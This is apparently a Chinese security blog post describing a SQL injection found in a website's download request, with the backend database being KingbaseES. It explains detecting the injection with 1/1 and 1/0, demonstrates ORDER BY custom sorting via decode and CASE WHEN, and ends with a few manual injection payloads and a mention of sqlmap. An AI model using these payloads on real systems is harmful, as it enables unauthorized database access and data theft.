长夜漫漫,无心睡眠,不如来一个渗透测试。
我点点停停,不敢冒昧再前行,濛濛细雨无情的迷离我眼睛。
咿呀,这是啥?
下载按钮抓包看看
卧槽,有注入!
还是国产数据库人大金仓 KingbaseES
咋办?
首先来看看,如何判断注入?
对于字符型注入,可以使用 1/1 和 1/0 进行判断
存在注入,而且是字符型注入
其次,来看国产数据库人大金仓 KingbaseES的SQL语法
MySQL中的field()函数,可以用来对SQL中查询结果集进行指定顺序排序。
函数使用格式如下:
order by (str,str1,str2,str3,str4……),str与str1,str2,str3,str4比较,其中str指的是字段名字,
意为:字段str按照字符串str1,str2,str3,str4的顺序返回查询到的结果集。如果表中str字段值不存在于str1,str2,str3,str4中的记录,放在结果集最前面返回。
对于kingbaseES数据库没有专门的函数来做order by的自定义排序,但可以通过在order by之后用case when 或 decode来做自定义排序。
测试案例:
数据库版本:
prod=# select version();
version
Kingbase V008R003C002B0061 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46), 64
-bit
(1 row)
测试数据表:
prod=# \dt
List of relations
Schema | Name | Type | Owner
--------±------------±------±-------
PUBLIC | NEWPRODUCTS | table | system
PUBLIC | PRODUCTS | table | system
PUBLIC | PROVINCES | table | system
PUBLIC | t1 | table | system
PUBLIC | test1 | table | system
(5 rows)
默认排序:
prod=# select * from t1 order by name;
id | name
----±-----
10 | a
20 | b
30 | c
(3 rows)
decode自定义排序:
prod=# select * from t1 order by decode(name,‘b’,1,‘c’,2,‘a’,3);
id | name
----±-----
20 | b
30 | c
10 | a
(3 rows)
可以使用desc排序
prod=# select * from t1 order by decode(name,‘b’,1,‘c’,2,‘a’,3) desc;
id | name
----±-----
10 | a
30 | c
20 | b
(3 rows)
case when自定义排序:
prod=# select * from t1 order by
prod-# case
prod-# when name=‘b’ then 1
prod-# when name=‘a’ then 2
prod-# when name=‘c’ then 3
prod-# end;
id | name
----±-----
20 | b
10 | a
30 | c
(3 rows)
prod=# select * from t1 order by
prod-# case
prod-# when name=‘b’ then 1
prod-# when name=‘a’ then 2
prod-# when name=‘c’ then 3
prod-# end
prod-# desc
prod-# ;
id | name
----±-----
30 | c
10 | a
20 | b
(3 rows)
通过以上信息,可以判断字段数目。
最后,我们这里可以使用手工测试。
根据字段数据可以手工测试。
decode(YHLX,'a',1,'b',2,'c',3,'d',4,'e',5,'f',6,'g',7)
case when YHLX='a' then 1 when YHLX='b' then 2 when YHLX='c' then 3 when YHLX='d' then 4 when YHLX='e' then 5 when YHLX='f' then 6 when YHLX='g' then 7 end
(SELECT (CASE WHEN (4780=4780) THEN 4780 ELSE 1/(SELECT 0) END))
当然了,也可以使用sqlmap
说是国产数据库,但是估计和PostgreSQL有血缘关系,sqlmap会把她识别成PostgreSQL。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论